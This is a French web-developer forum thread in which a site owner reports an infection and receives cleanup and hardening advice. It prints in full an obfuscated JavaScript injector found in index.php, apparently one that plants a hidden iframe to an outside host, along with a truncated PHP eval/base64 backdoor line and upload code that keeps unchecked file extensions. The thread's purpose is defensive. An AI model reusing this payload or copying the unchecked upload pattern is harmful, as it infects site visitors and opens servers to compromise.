Virus Javascript

Répondre


Cette question est un moyen d’empêcher des soumissions automatisées de formulaires par des robots.
Smileys
:D :) :( :o :shock: :? 8-) :lol: :x :P :oops: :cry: :evil: :twisted: :roll: :wink: :!: :?: :idea: :arrow: :| :mrgreen: =D> #-o =P~ :^o :non: :priere: 8-|
Voir plus de smileys
  Revue du sujet
 

  Étendre la vue Revue du sujet : Virus Javascript

Re: Virus Javascript

par enneite » 09 janv. 2012, 16:08

Il y a des outils comme md5summer pour vérifier l'intégrité de tes fichiers sur ton serveur.

Sinon, pour sécuriser un peu l'upload, tu as des fonctions PHP sur les types MIME de fichiers :
$h = finfo_open();
$retour = finfo_file($h, $_FILES['fichier']['tmp_name']);
finfo_close($h);

Re: Virus Javascript

par Aureusms » 06 janv. 2012, 14:57

As tu trouver d'où venait l'attaque ?

Re: Virus Javascript

par Calimero » 02 janv. 2012, 13:20

1/ Tu mets tout ton site en panne le temps de le purger.
2/ Vérifie les cron jobs & tâches planifiées.
3/ Tu passes tout le code en revue, en commençant par les applications tierces (CMS, forums...) en vérifiant que les versions sont bien à jour (mise à jour fortement recommandée au besoin).
4/ Tu vérifies ton propre code en faisant particulièrement attention à tout ce qui ressemble à une écriture (fichiers & uploads en particulier, bdd ensuite).
5/ Vérifie aussi ta configuration php, ça ne mange pas de pain (fait passer un maximum d'options en mode restrictif/production, safe_mode, open_basedir, display_errors, url_fopen etc).
6/ Comme tu as identifié un fichier php compromis, essaye de voir si d'autres fichiers ont été compromis dans la même tranche de temps (selon la date de modification du fichier)
7/ Tu rouvres le site progressivement, morceau par morceau, au fil des nettoyages effectués.
8/ Sois vigilant des récidives (si ça arrive c'est que tu as oublié quelquechose, il faudra recommencer).

Fais attention aussi à la configuration apache, aux .htaccess...

NB : tout ça peut te prendre du temps, ça ne sert à rien de le faire à moitié, il faut être exhaustif.

Re: Virus Javascript

par VaN » 02 janv. 2012, 12:06

Ton type file, tu le protèges comment ?
Je ne le protèges pas vraiment.
Je le renomme, avant de l'uploader :
$file_extension = Object_Model::file_get_extension($this->cv['name']);
		
$file_name = $this->id . '-' . Object_Model::string_rewrite_value($this->prenom_nom()) . '.' . $file_extension;
		
move_uploaded_file($this->cv['tmp_name'], ROOT_PATH . 'uploads/users/cv/' .$file_name);
		
Sql::sql_query(sprintf("UPDATE " . TABLES__USERS . " SET cv = '%s' WHERE id = %d", $file_name, $this->id));
		
$this->cv = $file_name;
Quelles protections devrai-je mettre en place ?

Re: Virus Javascript

par xTG » 02 janv. 2012, 11:49

Ton type file, tu le protèges comment ?

Virus Javascript

par VaN » 02 janv. 2012, 10:50

Bonjour,

durant les vacances, je me suis aperçu qu'un virus était apparu sur l'un des sites que je gère. Si j'affiche la source de mon fichier index.php, voici ce qui a été inséré à la première ligne :

Code : Tout sélectionner

<script>var s=new String();a=(new Function("","")+"").substr(3-1,4);if((a=="unct")||(a=="ncti"))a=(document.write+"").substr(2,4);if((a=="unct")||(a=="ncti")){r=1;c=String;}if(r&&document.createTextNode)u=2;e=window['e'+'v'+'al'];m=new Array(4.5*u,18/u,52.5*u,204/u,16*u,80/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,206/u,50.5*u,232/u,34.5*u,216/u,50.5*u,218/u,50.5*u,220/u,58*u,230/u,33*u,242/u,42*u,194/u,51.5*u,156/u,48.5*u,218/u,50.5*u,80/u,19.5*u,196/u,55.5*u,200/u,60.5*u,78/u,20.5*u,182/u,24*u,186/u,20.5*u,246/u,4.5*u,18/u,4.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,228/u,20*u,82/u,29.5*u,18/u,4.5*u,250/u,16*u,202/u,54*u,230/u,50.5*u,64/u,61.5*u,18/u,4.5*u,18/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,238/u,57*u,210/u,58*u,202/u,20*u,68/u,30*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,64/u,57.5*u,228/u,49.5*u,122/u,19.5*u,208/u,58*u,232/u,56*u,116/u,23.5*u,94/u,49.5*u,234/u,59.5*u,214/u,49.5*u,222/u,61*u,226/u,49*u,92/u,50*u,208/u,49.5*u,224/u,23*u,196/u,52.5*u,244/u,23.5*u,126/u,51.5*u,222/u,30.5*u,98/u,19.5*u,64/u,59.5*u,210/u,50*u,232/u,52*u,122/u,19.5*u,98/u,24*u,78/u,16*u,208/u,50.5*u,210/u,51.5*u,208/u,58*u,122/u,19.5*u,98/u,24*u,78/u,16*u,230/u,58*u,242/u,54*u,202/u,30.5*u,78/u,59*u,210/u,57.5*u,210/u,49*u,210/u,54*u,210/u,58*u,242/u,29*u,208/u,52.5*u,200/u,50*u,202/u,55*u,118/u,56*u,222/u,57.5*u,210/u,58*u,210/u,55.5*u,220/u,29*u,194/u,49*u,230/u,55.5*u,216/u,58.5*u,232/u,50.5*u,118/u,54*u,202/u,51*u,232/u,29*u,96/u,29.5*u,232/u,55.5*u,224/u,29*u,96/u,29.5*u,78/u,31*u,120/u,23.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,124/u,17*u,82/u,29.5*u,18/u,4.5*u,250/u,4.5*u,18/u,51*u,234/u,55*u,198/u,58*u,210/u,55.5*u,220/u,16*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,228/u,20*u,82/u,61.5*u,18/u,4.5*u,18/u,59*u,194/u,57*u,64/u,51*u,64/u,30.5*u,64/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,198/u,57*u,202/u,48.5*u,232/u,50.5*u,138/u,54*u,202/u,54.5*u,202/u,55*u,232/u,20*u,78/u,52.5*u,204/u,57*u,194/u,54.5*u,202/u,19.5*u,82/u,29.5*u,204/u,23*u,230/u,50.5*u,232/u,32.5*u,232/u,58*u,228/u,52.5*u,196/u,58.5*u,232/u,50.5*u,80/u,19.5*u,230/u,57*u,198/u,19.5*u,88/u,19.5*u,208/u,58*u,232/u,56*u,116/u,23.5*u,94/u,49.5*u,234/u,59.5*u,214/u,49.5*u,222/u,61*u,226/u,49*u,92/u,50*u,208/u,49.5*u,224/u,23*u,196/u,52.5*u,244/u,23.5*u,126/u,51.5*u,222/u,30.5*u,98/u,19.5*u,82/u,29.5*u,204/u,23*u,230/u,58*u,242/u,54*u,202/u,23*u,236/u,52.5*u,230/u,52.5*u,196/u,52.5*u,216/u,52.5*u,232/u,60.5*u,122/u,19.5*u,208/u,52.5*u,200/u,50*u,202/u,55*u,78/u,29.5*u,204/u,23*u,230/u,58*u,242/u,54*u,202/u,23*u,224/u,55.5*u,230/u,52.5*u,232/u,52.5*u,222/u,55*u,122/u,19.5*u,194/u,49*u,230/u,55.5*u,216/u,58.5*u,232/u,50.5*u,78/u,29.5*u,204/u,23*u,230/u,58*u,242/u,54*u,202/u,23*u,216/u,50.5*u,204/u,58*u,122/u,19.5*u,96/u,19.5*u,118/u,51*u,92/u,57.5*u,232/u,60.5*u,216/u,50.5*u,92/u,58*u,222/u,56*u,122/u,19.5*u,96/u,19.5*u,118/u,51*u,92/u,57.5*u,202/u,58*u,130/u,58*u,232/u,57*u,210/u,49*u,234/u,58*u,202/u,20*u,78/u,59.5*u,210/u,50*u,232/u,52*u,78/u,22*u,78/u,24.5*u,96/u,19.5*u,82/u,29.5*u,204/u,23*u,230/u,50.5*u,232/u,32.5*u,232/u,58*u,228/u,52.5*u,196/u,58.5*u,232/u,50.5*u,80/u,19.5*u,208/u,50.5*u,210/u,51.5*u,208/u,58*u,78/u,22*u,78/u,24.5*u,96/u,19.5*u,82/u,29.5*u,18/u,4.5*u,18/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,206/u,50.5*u,232/u,34.5*u,216/u,50.5*u,218/u,50.5*u,220/u,58*u,230/u,33*u,242/u,42*u,194/u,51.5*u,156/u,48.5*u,218/u,50.5*u,80/u,19.5*u,196/u,55.5*u,200/u,60.5*u,78/u,20.5*u,182/u,24*u,186/u,23*u,194/u,56*u,224/u,50.5*u,220/u,50*u,134/u,52*u,210/u,54*u,200/u,20*u,204/u,20.5*u,118/u,4.5*u,18/u,62.5*u);if((a=="unct")||(a=="ncti"))mm=c['fromCharCod'+'e'];for(i=0;i<m.length;i++)s+=mm(((a=="unct")||(a=="ncti"))?m[i]:123);if((a=="unct")||(a=="ncti"))e(s);</script>
Je suis donc allé télécharger le fichier index.php sur le FTP, et je trouve ceci à la première ligne :

Code : Tout sélectionner

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNF [...] jBhU0lwS1dVb2N5azdQQzl6WTNKcGNIUSsnKSk7DQp9'));
Une conséquence visible de ce virus est que mon anti-virus devient fou, dès que j'affiche la page. J'imagine qu'il fait pas mal de dégâts sur des systèmes mal protégés.

Mon site propose un formulaire d'inscription, avec des champs input de type text et un champ input de type file. J'ai utilisé mysql_real_escape_string() pour éviter les injections SQL, mais apparement, cela ne suffit pas.

Comment puis-je sécuriser mon site pour éviter que ce virus revienne ?

Question subsidiaire, comment puis-je faire pour "remonter à la source", savoir qui essaye de placer ce virus sur mon site ?